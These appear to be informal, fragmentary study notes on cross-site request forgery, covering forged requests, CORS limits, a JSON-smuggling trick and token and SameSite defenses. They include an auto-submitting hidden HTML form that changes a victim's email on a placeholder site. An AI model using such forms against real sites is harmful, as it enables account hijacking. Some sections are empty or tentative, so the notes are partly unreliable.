Steps for CSRFs:
This is especially bad if Site B can guarantee some users from Site A, like, for example, posting Site B’s link in the comment section on Site A.
Ex:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
Often times the malicious request is sent to Site A through a hidden html form.
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
<button type="submit">CSRF attack</button>
</form>
<script>
// If you want to automatically submit the form on page load.
document.forms[0].submit()
</script>
</body>
</html>
Fetch requires CORS(cross origin resource sharing) which doesn’t allow cross domain cookies from being automatically added to the request.
Forms use Sec-Fetch-Mode: navigate
header which does automatically add the headers.
I think AJAX does work though.
Form sends data through key value pairs not json.
Ex: data=value
If you want to convert this to valid json you could set data to {"key": "value", "junk": "
and value to test"}
. This would result in the output being {"key": "value", "junk": "=test"}
which would be valid json.
Sometimes the server requires the Content-Type: application/json
header to be set. This can only be done through AJAX and the server has to allow you to do so through CORS.
The server has to set these headers to allow you to set the Content-Type header:
Access-Control-Allow-Origin: website
Access-Control-Allow-Headers: Content-Type
localstorage:
sessionstorage:
SameSite strict cookies:
This would be undesirable if, for example, you want the user to continue their sign in from one subdomain to another. Like docs.google.com and drive.google.com
Since Site B has no way of knowing this random value(CSRF token), they cannot perform a CSRF attack.